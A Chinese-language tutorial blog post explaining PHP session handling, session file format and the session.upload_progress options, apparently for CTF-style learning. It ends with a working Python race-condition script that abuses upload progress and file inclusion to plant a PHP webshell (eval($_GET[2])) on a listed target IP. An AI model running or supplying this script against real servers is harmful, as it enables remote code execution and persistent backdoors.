关于session
关于session
什么是session
要了解session自然离不开cookie,这里我默认已经了解了cookie。在我看来,cookie与session都是用来记录用户状态的机制。核心区别在于数据存储的位置不同。session一个主要存储在服务器端,cookie一个存储在客户端。当客户端访问服务器时,服务器会以某种形式将客户端信息储存在服务器,这就是session。当该用户再次访问时,服务器会在session中查找该用户状态。
session的工作流程
(1)用户首次访问服务器
- 用户发起请求
当用户第一次访问 Web 服务器(如打开一个网站)时,HTTP 协议本身是 “无状态” 的,服务器此时无法识别该用户的身份或历史操作。
2. 服务器创建 Session
为了记录用户状态,服务器会自动创建一个Session 对象(本质是一块存储用户数据的内存 / 文件 / 数据库空间),并生成一个唯一的Session ID(通常是随机字符串,如6ngRT3bwQDO02yUsXE_3gRYR0Ck),用于标识这个 Session 对象。(换句话说就是,创建一个session文件用来储存用户信息,名字叫做sess_Session ID) - 服务器传递 Session ID 给客户端
服务器通过以下两种方式将 Session ID 发送给客户端(浏览器):- 默认方式(推荐):通过 HTTP 响应头的
Set-Cookie字段,将 Session ID 封装成一个临时 Cookie(通常名为PHPSESSID、JSESSIONID等,不同语言命名不同),发送给浏览器。浏览器会自动保存这个 Cookie(通常是会话级 Cookie,关闭浏览器后失效)。 - 备选方式(不推荐):如果客户端禁用了 Cookie,服务器可能会通过URL 重写的方式,将 Session ID 拼接在 URL 中(如
http://example.com/index.php?session=xxx),让客户端在后续请求中携带。
- 默认方式(推荐):通过 HTTP 响应头的
(2)当用户再次访问服务器
- 客户端携带 Session ID 请求
当用户再次访问该服务器时(如点击页面、提交表单),浏览器会自动通过以下方式将 Session ID 带回给服务器:- 若使用 Cookie:通过 HTTP 请求头的
Cookie字段,将存储的 Session ID 发送给服务器(如Cookie: PHPSESSID=6ngRT3bwQDO02yUsXE_3gRYR0Ck)。 - 若使用 URL 重写:通过 URL 参数携带 Session ID(如
http://example.com/index.php?session=6ngRT3bwQDO02yUsXE_3gRYR0Ck)。
- 若使用 Cookie:通过 HTTP 请求头的
- 服务器识别并关联 Session
服务器接收到请求后,从 Cookie 或 URL 中提取 Session ID,然后查找服务器端是否存在对应的 Session 对象:- 若存在:直接使用该 Session 对象(读取或更新用户状态,如 “已登录”“购物车商品” 等)。
- 若不存在(如 Session 已过期、ID 被篡改):服务器会重新创建一个新的 Session 对象和 Session ID,相当于用户 “重新开始会话”。
(3)session的生命周期
- 数据读写
服务器可以在 Session 对象中存储任意用户相关数据(如用户 ID、登录状态、权限信息等),例如:- 用户登录成功后,服务器将
user_id: 123和is_login: true写入 Session。 - 用户添加商品到购物车时,服务器将商品 ID 存入 Session 的
cart列表中。
- 用户登录成功后,服务器将
- 过期与销毁
- 默认过期:Session 有默认的 “空闲超时时间”(如 PHP 默认 24 分钟),若用户长时间不操作,服务器会自动销毁对应的 Session 对象,释放资源。
- 手动销毁:用户主动退出登录时,服务器会调用
session_destroy()等方法,手动删除 Session 数据(但 Session ID 可能仍在客户端,只是对应的数据无效)。
session文件内容
1. 用户身份与状态信息
这是最常见的 Session 数据,用于标识用户身份和当前状态:
- 用户 ID(如
user_id => 123) - 登录状态(如
is_login => true) - 用户名 / 昵称(如
username => "张三") - 登录时间(如
login_time => 1620000000)
2. 临时操作数据
用于存储用户在单次会话中产生的临时数据,例如:
- 购物车内容(如
cart => [["id" => 1, "name" => "商品A", "num" => 2]]) - 表单填写的临时数据(如
form_data => ["phone" => "13800000000"]) - 分页或筛选条件(如
page_params => ["page" => 2, "sort" => "price"])
3. 安全相关数据
用于验证会话合法性或防止攻击,例如:
- CSRF 令牌(如
csrf_token => "a1b2c3d4e5f6") - 登录 IP 地址(如
login_ip => "192.168.1.1") - 会话验证标识(如
session_token => "xyz789")
4. 上传进度数据(与前文配置相关)
当启用了 session.upload_progress 相关配置时,Session 文件会临时存储文件上传的进度信息,例如:
upload_progress_abc123 => [
"length" => 1048576, // 总大小(字节)
"bytes_processed" => 524288, // 已上传大小
"done" => 0 // 是否完成(0未完成,1已完成)
]
(键名中的 abc123 是上传请求的标识符,由 session.upload_progress.prefix 和表单字段共同生成)
Session 文件的内容格式
Session 文件中的数据以序列化字符串形式存储,格式为 键名|类型:长度:值;,例如:
user_id|i:123;is_login|b:1;username|s:2:"张三";cart|a:1:{i:0;a:3:{s:2:"id";i:1;s:4:"name";s:4:"商品A";s:3:"num";i:2;}};
i:123表示整数(i是integer的缩写)b:1表示布尔值true(b是boolean的缩写)s:2:"张三"表示字符串(s是string的缩写),长度为 2(中文字符在部分编码下可能占多个字节,此处仅为示例)a:1:{...}表示数组(a是array的缩写)
注意:上传进度数据则不会以序列化字符串形式存储,这也是session文件包含的关键
php.ini设置
该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项
session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;- 另外还有一个session配置中的重要选项:
session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。
注意:
上传进度数据在 Session 中存储的键名是由两个配置参数拼接而成的,格式为:
[prefix] + [表单中隐藏字段的 value 值]
session.upload_progress.prefix = "upload_progress_"(固定前缀)session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"(表单中隐藏字段的name属性)
当上传表单时,需要手动添加一个隐藏字段,其 name 必须等于 session.upload_progress.name 的值(即 PHP_SESSION_UPLOAD_PROGRESS),而 value 可以自定义。例如:
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="自定义内容">
此时,Session 中存储上传进度数据的键名就是:
upload_progress_自定义内容
对应到http协议中就是图中红框位置

session时间竞争(脚本)
import requests
import threading
import io
url_upload = "http://38.55.99.195:32803/index.php"
url_include = "http://38.55.99.195:32803/1.php"
url = "http://38.55.99.195:32803/"
sessID = 'rikka'
data = {
"1": "<?php file_put_contents('3.php','<?php phpinfo();?>'); ?>" # read()中需要post的内容
}
def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url_upload,
data={
'PHP_SESSION_UPLOAD_PROGRESS':"<?php file_put_contents('2.php','<?php eval($_GET[2]);?>');?>"
# 改参数的值就是/tmp/sess_rikka文件的内容
},
cookies={
"PHPSESSID": sessID
},
files={
'file': ('rikka.png', fileBytes)
}
)
def read(session):
while True:
res1 = session.post(url_include + '?file=/tmp/sessions/sess_' + sessID, data=data,
cookies={
"PHPSESSID": sessID
})
res2 = session.get(url+'2.php')
if res2.status_code == 200:
print("+++done+++")
else:
print(res2.status_code)
if __name__ == '__main__':
event = threading.Event() # 开启多线程的对象
with requests.session() as session:
for i in range(5): # 开5个线程
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
event.set() # 唤醒线程

浙公网安备 33010602011771号